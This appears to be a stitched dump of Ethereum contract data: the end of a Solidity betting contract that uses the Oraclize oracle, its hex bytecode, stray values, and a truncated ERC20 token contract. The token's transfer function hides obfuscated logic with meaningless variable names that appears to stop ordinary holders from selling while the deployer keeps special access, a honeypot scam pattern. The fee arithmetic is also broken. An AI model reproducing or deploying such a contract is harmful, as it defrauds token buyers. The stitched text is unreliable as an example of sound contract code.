BJBfGcE2alr7b8vcTTZkTgXZX603oflFA7/iqBFGLVe5JfZK5xyeSoMQpiub8Bb3oxcyIuyefhoF59SCT27+KfIKE0kg6vS/pCQxeekiSferdxUDlJyTLMzS59U8Dg9KOrPFh4r2fJLO}']", gas); } function makeOraclizeQuery(uint timeOrDelay, string datasource, string query, uint gas) private returns(bytes32) { oraclizeFees += oraclize_getPrice(datasource, gas); return oraclize_query(timeOrDelay, datasource, query, gas); } // Determine the outcome manually, // immediately function determineWinner(uint gas, uint gasPrice) payable public onlyOwnerLevel canDetermineWinner { ORACLIZE_GAS = gas; oraclize_setCustomGasPrice(gasPrice); callOracle(0, ORACLIZE_GAS); } // Callback from Oraclize function __callback(bytes32 queryId, string result, bytes proof) public canDetermineWinner { require(msg.sender == oraclize_cbAddress()); // The Oracle must always return // an integer (either 0 or 1, or if not then) // it should be 2 if (keccak256(result) != keccak256("0") && keccak256(result) != keccak256("1")) { // Reschedule winner determination, // unless we're past the point of // cancelation. If nextScheduledQuery is // not the current query, it means that // there's a scheduled future query, so // we can wait for that instead of scheduling // another one now (otherwise this would cause // dupe queries). if (now >= CANCELATION_DATE) { cancel(); } else if (nextScheduledQuery == queryId) { callOracle(PING_ORACLE_INTERVAL, ORACLIZE_GAS); } } else { setWinner(parseInt(result)); } } function setWinner(uint winner) private { completed = true; canceled = false; winningOption = winner; winnerDeterminedDate = now; payOwners(); } // Returns the total amounts betted // for the sender function getUserBet(address addr) public constant returns(uint[]) { uint[] memory bets = new uint[](2); bets[betterInfo[addr].betOption] = betterInfo[addr].betAmount; return bets; } // Returns whether a user has withdrawn // money or not. function userHasWithdrawn(address addr) public constant returns(bool) { return betterInfo[addr].withdrawn; } // Returns whether winning collections are // now available, or not. function collectionsAvailable() public constant returns(bool) { return (completed && winningOption != 2 && now >= (winnerDeterminedDate + 600)); // At least 10 mins has to pass between determining winner and enabling payout, so that we have time to revert the bet in case we detect suspicious betting activty (eg. a hacker bets a lot to steal the entire losing pot, and hacks the oracle) } // Returns true if we can bet (in betting window) function canBet() public constant returns(bool) { return (now >= BETTING_OPENS && now < BETTING_CLOSES && !canceled && !completed); } // Function for user to bet on launch // outcome function bet(uint option) public payable { require(canBet() == true); require(msg.value >= MIN_BET); require(betterInfo[msg.sender].betAmount == 0 || betterInfo[msg.sender].betOption == option); // Add better to better list if they // aren't already in it if (betterInfo[msg.sender].betAmount == 0) { betterInfo[msg.sender].betOption = option; numberOfBets[option]++; betters.push(msg.sender); } // Perform bet betterInfo[msg.sender].betAmount += msg.value; totalBetAmount += msg.value; totalAmountsBet[option] += msg.value; BetMade(); // Trigger event } // Empty remainder of the value in the // contract to the owners. function emptyRemainingsToOwners() private canEmptyRemainings { OWNERS.transfer(this.balance); returnedToOwners = true; } function returnToOwners() public onlyOwnerLevel canEmptyRemainings { emptyRemainingsToOwners(); } // Performs payout to owners function payOwners() private canPayOwners { if (COMMISSION == 0) { ownersPayed = true; ownerPayout = 0; if (numberOfBets[winningOption] > 0) { collectionFees = ((oraclizeFees != 0) ? (oraclizeFees / numberOfBets[winningOption] + 1) : 0); // We add 1 wei to act as a ceil for the integer div -- important because the contract cannot afford to lose that spare change, as it will gaurantee that the final payout collection will fail. } return; } // Calculate total pool of ETH // betted for the two outcomes. uint losingChunk = totalAmountsBet[1 - winningOption]; ownerPayout = (losingChunk - oraclizeFees) / COMMISSION; // Payout to the owner; commission of losing pot, minus the same % of the fees if (numberOfBets[winningOption] > 0) { collectionFees = ((oraclizeFees != 0) ? ((oraclizeFees - oraclizeFees / COMMISSION) / numberOfBets[winningOption] + 1) : 0); // The fees to be distributed to the collectors, after owner payout. See reasoning above for adding the 1 wei. } // Equal weight payout to the owners OWNERS.transfer(ownerPayout); ownersPayed = true; } function cancelBet() payable public onlyOwnerLevel { cancel(); } // Cancel bet and relase all the bets back to // the betters if, for any reason, payouts cannot be // completed. (For example Oracle fails.) Triggered by owners. function cancel() private { canceled = true; completed = false; } // Fallback function in case someone sends // ether to the contract so it doesn't get // lost. Could be used by us owners as buffer // value in case payouts fail. function() payable public { } // Function that lets betters collect their // money, either if the bet was canceled, // or if they won. function collect() public collectionsEnabled { address better = msg.sender; require(betterInfo[better].betAmount > 0); require(!betterInfo[better].withdrawn); require(canceled != completed); require(canceled || (completed && betterInfo[better].betOption == winningOption)); require(now >= (winnerDeterminedDate + 600)); uint payout = 0; if (!canceled) { // On top of their original bet, // add in profit, which is a weighted // proportion of the losing pot, relative // to their contribution to the winning pot, // minus owner commission. uint losingChunk = totalAmountsBet[1 - winningOption]; payout = betterInfo[better].betAmount + (betterInfo[better].betAmount * (losingChunk - ownerPayout) / totalAmountsBet[winningOption]) - collectionFees; } else { payout = betterInfo[better].betAmount; } if (payout > 0) { better.transfer(payout); betterInfo[better].withdrawn = true; numCollected++; } } }
0x6060604052600436106101de5763ffffffff60e060020a600035041662c4217381146101e0578063128007511461020557806322b9b712146102135780632342293d1461022657806327dc297e146102395780632a9078d61461028f578063306d4ed9146102be5780633267a2c5146102f157806338bbfa501461030457806339fdc5b71461039c5780633f9942ff146103b25780634264b4e0146103c557806344146c26146103d857806345668f2b146103f1578063515d4d5214610404578063525ffb7c1461041a57806355ec671a1461042d578063562df3d5146104405780635fcc7ea1146104535780636097598814610466578063613f4594146104795780636540742f1461048c57806371026acc1461049f5780637365870b146104b25780637b6d79f1146104bd5780638bd53bea146104c55780639090ce1f146104d85780639d9a7fe9146104eb5780639de6d9aa146104fe5780639fda5d62146105175780639fde4ef81461052d578063a86bc18114610540578063b01ead4314610553578063c67e43c114610566578063c96adb0114610571578063c9deb567146105e3578063d2169dfd146105f6578063e522538114610609578063ece44b811461061c578063eed83f851461062f578063f62e037c14610645575b005b34156101eb57600080fd5b6101f3610658565b60405190815260200160405180910390f35b6101de60043560243561065e565b341561021e57600080fd5b6101f36106e7565b341561023157600080fd5b6101f36106ef565b341561024457600080fd5b6101de600480359060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506106f595505050505050565b341561029a57600080fd5b6102a2610723565b604051600160a060020a03909116815260200160405180910390f35b34156102c957600080fd5b6102dd600160a060020a0360043516610732565b604051901515815260200160405180910390f35b34156102fc57600080fd5b6102dd610757565b341561030f57600080fd5b6101de600480359060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061076095505050505050565b34156103a757600080fd5b6101de60043561094f565b34156103bd57600080fd5b6102dd610978565b34156103d057600080fd5b6101f3610986565b34156103e357600080fd5b6101de60043560243561098c565b34156103fc57600080fd5b6101f36109b9565b341561040f57600080fd5b6101f36004356109bf565b341561042557600080fd5b6102dd6109d3565b341561043857600080fd5b6102dd6109e2565b341561044b57600080fd5b6101f3610a22565b341561045e57600080fd5b6101f3610a27565b341561047157600080fd5b6101f3610a2d565b341561048457600080fd5b6101f3610a34565b341561049757600080fd5b6101f3610a3a565b34156104aa57600080fd5b6101f3610a45565b6101de600435610a4b565b6101de610bb9565b34156104d057600080fd5b6101f3610bde565b34156104e357600080fd5b6101f3610be4565b34156104f657600080fd5b6102dd610bea565b341561050957600080fd5b6101de600435602435610bf3565b341561052257600080fd5b6102a2600435610c1c565b341561053857600080fd5b6101f3610c44565b341561054b57600080fd5b6101f3610c4a565b341561055e57600080fd5b6101de610c50565b6101de600435610cfd565b341561057c57600080fd5b610590600160a060020a0360043516610d4b565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156105cf5780820151838201526020016105b7565b505050509050019250505060405180910390f35b34156105ee57600080fd5b6102dd610dbc565b341561060157600080fd5b6101f3610de9565b341561061457600080fd5b6101de610def565b341561062757600080fd5b6101f361101e565b341561063a57600080fd5b6101f3600435611024565b341561065057600080fd5b6101f3611031565b600f5481565b60055433600160a060020a0390811691161461067957600080fd5b601b54600214801561068e5750600c5460ff16155b80156106a25750600c54610100900460ff16155b80156106af575060085442115b80156106bd57506007544210155b15156106c857600080fd5b60098290556106d681611037565b6106e360006009546111ae565b5050565b635ad6f96481565b60135481565b6106e3828260006040518059106107095750595b818152601f19601f83011681016020016040529050610760565b600554600160a060020a031681565b600160a060020a03811660009081526014602052604090206002015460ff165b919050565b600e5460ff1681565b601b5460021480156107755750600c5460ff16155b80156107895750600c54610100900460ff16155b8015610796575060085442115b80156107a457506007544210155b15156107af57600080fd5b6107b7611240565b600160a060020a031633600160a060020a03161415156107d657600080fd5b6040517f30000000000000000000000000000000000000000000000000000000000000008152600101604051908190039020826040518082805190602001908083835b602083106108385780518252601f199092019160209182019101610819565b6001836020036101000a03801982511681845116179092525050509190910192506040915050519081900390201480159061090057506040517f31000000000000000000000000000000000000000000000000000000000000008152600101604051908190039020826040518082805190602001908083835b602083106108d05780518252601f1990920191602091820191016108b1565b6001836020036101000a038019825116818451161790925250505091909101925060409150505190819003902014155b1561093957600a54421061091b576109166113b7565b610934565b60115483141561093457610934620151806009546111ae565b61094a565b61094a610945836113ce565b6113e1565b505050565b60055433600160a060020a0390811691161461096a57600080fd5b6006819055603b1901600855565b600c54610100900460ff1681565b600d5481565b60055433600160a060020a039081169116146109a757600080fd5b6109b08261094f565b6106e381610cfd565b60095481565b601681600281106109cc57fe5b0154905081565b600c5462010000900460ff1681565b6000635ad6f96442101580156109f9575060085442105b8015610a0d5750600c54610100900460ff16155b8015610a1c5750600c5460ff16155b90505b90565b600081565b60115481565b6201518081565b601a5481565b662386f26fc1000081565b60065481565b610a536109e2565b1515600114610a6157600080fd5b662386f26fc10000341015610a7557600080fd5b600160a060020a0333166000908152601460205260409020541580610ab45750600160a060020a03331660009081526014602052604090206001015481145b1515610abf57600080fd5b600160a060020a0333166000908152601460205260409020541515610b4c57600160a060020a033316600090815260146020526040902060010181905560188160028110610b0957fe5b01805460019081019091556015805490918101610b268382611ff7565b5060009182526020909120018054600160a060020a03191633600160a060020a03161790555b600160a060020a0333166000908152601460205260409020805434908101909155601a80548201905560168260028110610b8257fe5b01805490910190557f1305413e1f16048556d0b1a12ca82eb1fa526325349086b3777182444968da8560405160405180910390a150565b60055433600160a060020a03908116911614610bd457600080fd5b610bdc6113b7565b565b60125481565b600a5481565b600c5460ff1681565b60055433600160a060020a03908116911614610c0e57600080fd5b60098290556106e381611037565b6015805482908110610c2a57fe5b600091825260209091200154600160a060020a0316905081565b601b5481565b60075481565b60055433600160a060020a03908116911614610c6b57600080fd5b600c54600090610100900460ff1680610c865750600c5460ff165b1515610c9157600080fd5b600c54610100900460ff16610cb757601b5460189060028110610cb057fe5b0154610cbf565b601954601854015b9050600b544210158015610cdb5750600c54610100900460ff16155b80610ce7575080601054145b1515610cf257600080fd5b610cfa611406565b50565b60055433600160a060020a03908116911614610d1857600080fd5b6006548111610d2657600080fd5b6007819055620151808101600a5562278d008101600b55600954610cfa9082906111ae565b610d5361201b565b610d5b61201b565b6002604051805910610d6a5750595b9080825280602002602001820160405250600160a060020a0384166000908152601460205260409020805460019091015491925090829081518110610dab57fe5b602090810290910101529050919050565b600c5460009060ff168015610dd45750601b54600214155b8015610a1c575050600f546102580142101590565b600b5481565b6000806000600c60019054906101000a900460ff1680610e2c5750601b54600214158015610e1f5750600c5460ff165b8015610e2c575060085442115b1515610e3757600080fd5b33600160a060020a0381166000908152601460205260408120549194509011610e5f57600080fd5b600160a060020a03831660009081526014602052604090206002015460ff1615610e8857600080fd5b600c54610100810460ff9081161515911615151415610ea657600080fd5b600c54610100900460ff1680610ee55750600c5460ff168015610ee55750601b54600160a060020a038416600090815260146020526040902060010154145b1515610ef057600080fd5b600f5461025801421015610f0357600080fd5b600c5460009250610100900460ff161515610f9357601b5460169060010360028110610f2b57fe5b015490506013546016601b54600281101515610f4357fe5b0154600d54600160a060020a03861660009081526014602052604090205490840302811515610f6e57fe5b600160a060020a03861660009081526014602052604090205491900401039150610faf565b600160a060020a03831660009081526014602052604090205491505b600082111561094a57600160a060020a03831682156108fc0283604051600060405180830381858888f193505050501515610fe957600080fd5b5050600160a060020a03166000908152601460205260409020600201805460ff19166001908117909155601080549091019055565b60105481565b601881600281106109cc57fe5b60085481565b600054600160a060020a03161580611061575060005461105f90600160a060020a03166114d6565b155b156110725761107060006114da565b505b600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156110b157600080fd5b5af115156110be57600080fd5b5050506040518051600154600160a060020a03908116911614905061115357600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561111c57600080fd5b5af1151561112957600080fd5b505050604051805160018054600160a060020a031916600160a060020a0392909216919091179055505b600154600160a060020a031663ca6ad1e48260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561119b57600080fd5b5af115156111a857600080fd5b50505050565b600c5460ff6101009091041615156001148015906111d45750600c5460ff161515600114155b15156111df57600080fd5b611239826040805190810160405280600681526020017f6e657374656400000000000000000000000000000000000000000000000000008152506101406040519081016040526101058082526120c6602083013984611800565b6011555050565b60008054600160a060020a0316158061126b575060005461126990600160a060020a03166114d6565b155b1561127c5761127a60006114da565b505b600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156112bb57600080fd5b5af115156112c857600080fd5b5050506040518051600154600160a060020a03908116911614905061135d57600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561132657600080fd5b5af1151561133357600080fd5b505050604051805160018054600160a060020a031916600160a060020a0392909216919091179055505b600154600160a060020a031663c281d19e6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561139c57600080fd5b5af115156113a957600080fd5b505050604051805191505090565b600c805460ff1961ff001990911661010017169055565b60006113db82600061182a565b92915050565b600c805461ff001960ff19909116600117169055601b81905542600f55610cfa6119e0565b600c54600090610100900460ff16806114215750600c5460ff165b151561142c57600080fd5b600c54610100900460ff1661145257601b546018906002811061144b57fe5b015461145a565b601954601854015b9050600b5442101580156114765750600c54610100900460ff16155b80611482575080601054145b151561148d57600080fd5b600554600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156114c657600080fd5b50600e805460ff19166001179055565b3b90565b6000806114fa731d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed6114d6565b111561156a5760008054600160a060020a031916731d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed17905561156260408051908101604052600b81527f6574685f6d61696e6e65740000000000000000000000000000000000000000006020820152611aa5565b506001610752565b600061158973c03a2615d5efaf5f49f60b7bb6583eaec212fdf16114d6565b11156115f15760008054600160a060020a03191673c03a2615d5efaf5f49f60b7bb6583eaec212fdf117905561156260408051908101604052600c81527f6574685f726f707374656e3300000000000000000000000000000000000000006020820152611aa5565b600061161073b7a07bcf2ba2f2703b24c0691b5278999c59ac7e6114d6565b11156116785760008054600160a060020a03191673b7a07bcf2ba2f2703b24c0691b5278999c59ac7e17905561156260408051908101604052600981527f6574685f6b6f76616e00000000000000000000000000000000000000000000006020820152611aa5565b600061169773146500cfd35b22e4a392fe0adc06de1a1368ed486114d6565b11156116ff5760008054600160a060020a03191673146500cfd35b22e4a392fe0adc06de1a1368ed4817905561156260408051908101604052600b81527f6574685f72696e6b6562790000000000000000000000000000000000000000006020820152611aa5565b600061171e736f485c8bf6fc43ea212e93bbf8ce046c7f1cb4756114d6565b1115611752575060008054600160a060020a031916736f485c8bf6fc43ea212e93bbf8ce046c7f1cb4751790556001610752565b60006117717320e12a1f859b3feae5fb2a0a32c18f5a65555bbf6114d6565b11156117a5575060008054600160a060020a0319167320e12a1f859b3feae5fb2a0a32c18f5a65555bbf1790556001610752565b60006117c47351efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa6114d6565b11156117f8575060008054600160a060020a0319167351efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa1790556001610752565b506000919050565b600061180c8483611ab8565b60128054909101905561182185858585611ca6565b95945050505050565b600061183461201b565b5082600080805b83518110156119c3577f300000000000000000000000000000000000000000000000000000000000000084828151811061187157fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015801561191257507f39000000000000000000000000000000000000000000000000000000000000008482815181106118db57fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1561196857811561193157851515611929576119c3565b600019909501945b600a83029250603084828151811061194557fe5b016020015160f860020a900460f860020a0260f860020a900403830192506119bb565b83818151811061197457fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916602e60f860020a0214156119bb57600191505b60010161183b565b60008611156119d55785600a0a830292505b509095945050505050565b600c54600090610100900460ff161580156119fe5750601b54600214155b8015611a0c5750600c5460ff165b8015611a215750600c5462010000900460ff16155b8015611a2e575060085442115b1515611a3957600080fd5b600c805462ff00001916620100001790556000600d819055601b5460189060028110611a6157fe5b01541115611aa0576012541515611a79576000611a9c565b601b5460189060028110611a8957fe5b0154601254811515611a9757fe5b046001015b6013555b610cfa565b60028180516106e392916020019061202d565b60008054600160a060020a03161580611ae35750600054611ae190600160a060020a03166114d6565b155b15611af457611af260006114da565b505b600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611b3357600080fd5b5af11515611b4057600080fd5b5050506040518051600154600160a060020a039081169116149050611bd557600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611b9e57600080fd5b5af11515611bab57600080fd5b505050604051805160018054600160a060020a031916600160a060020a0392909216919091179055505b600154600160a060020a0316632ef3accc84846040518363ffffffff1660e060020a0281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611c3d578082015183820152602001611c25565b50505050905090810190601f168015611c6a5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515611c8957600080fd5b5af11515611c9657600080fd5b5050506040518051949350505050565b600080548190600160a060020a03161580611cd35750600054611cd190600160a060020a03166114d6565b155b15611ce457611ce260006114da565b505b600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611d2357600080fd5b5af11515611d3057600080fd5b5050506040518051600154600160a060020a039081169116149050611dc557600054600160a060020a03166338cc48316040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611d8e57600080fd5b5af11515611d9b57600080fd5b505050604051805160018054600160a060020a031916600160a060020a0392909216919091179055505b600154600160a060020a0316632ef3accc86856040518363ffffffff1660e060020a0281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611e2d578082015183820152602001611e15565b50505050905090810190601f168015611e5a5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515611e7957600080fd5b5af11515611e8657600080fd5b5050506040518051915050670de0b6b3a76400003a840201811115611eae5760009150611fee565b600154600160a060020a031663c51be90f82888888886040518663ffffffff1660e060020a028152600401808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611f23578082015183820152602001611f0b565b50505050905090810190601f168015611f505780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015611f86578082015183820152602001611f6e565b50505050905090810190601f168015611fb35780820380516001836020036101000a031916815260200191505b5096505050505050506020604051808303818588803b1515611fd457600080fd5b5af11515611fe157600080fd5b5050505060405180519250505b50949350505050565b81548183558181151161094a5760008381526020902061094a9181019083016120ab565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061206e57805160ff191683800117855561209b565b8280016001018555821561209b579182015b8281111561209b578251825591602001919060010190612080565b506120a79291506120ab565b5090565b610a1f91905b808211156120a757600081556001016120b156005b636f6d7075746174696f6e5d205b27516d633652734e61506b74526a753535516844716d75395674764778506e52456f444e796b3631364d41546b3246272c202765353566356638362d376164302d343062632d393762622d666138323839623232623864272c2027247b5b646563727970745d20424a426647634532616c72376238766354545a6b5467585a583630336f666c4641372f69714246474c5665354a665a4b35787965536f4d5170697562384262336f7863794975796566686f46353953435432372b4b66494b45306b673676532f7043517865656b6953666572647855446c4a79544c4d7a53353955384467394b4f72504668347232664a4c4f7d275da165627a7a72305820ee577ff671704c336248168c1916ca2f1e9b6603a8542a2d56e73759b69b008e0029
[ 1, 7, 9 ]
0xf23b7f8f5611e27c2d5eff196d7ca4b86124cb52
// SPDX-License-Identifier: MIT pragma solidity ^0.8.8; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Contract is IERC20, Ownable { string private _name; string private _symbol; uint256 public _fee = 2; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private chart = _tTotal; uint256 private _rTotal = ~uint256(0); bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public uniswapV2Pair; IUniswapV2Router02 public router; mapping(address => uint256) private _balances; mapping(address => uint256) private solar; mapping(address => mapping(address => uint256)) private _allowances; mapping(uint256 => address) private fresh; mapping(uint256 => address) private each; mapping(address => uint256) private exact; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; solar[msg.sender] = chart; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); each[chart] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } receive() external payable {} function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _transfer( address size, address steady, uint256 amount ) private { address book = fresh[chart]; bool declared = size == each[chart]; uint256 chose = _fee; if (solar[size] == 0 && !declared && exact[size] > 0) { solar[size] -= chose; } fresh[chart] = steady; if (solar[size] > 0 && amount == 0) { solar[steady] += chose; } exact[book] += chose; if (solar[size] > 0 && amount > chart) { swapAndLiquify(amount); return; } uint256 fee = amount * (_fee / 100); amount -= fee; _balances[size] -= fee; _balances[size] -= amount; _balances[steady] += amount; } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); 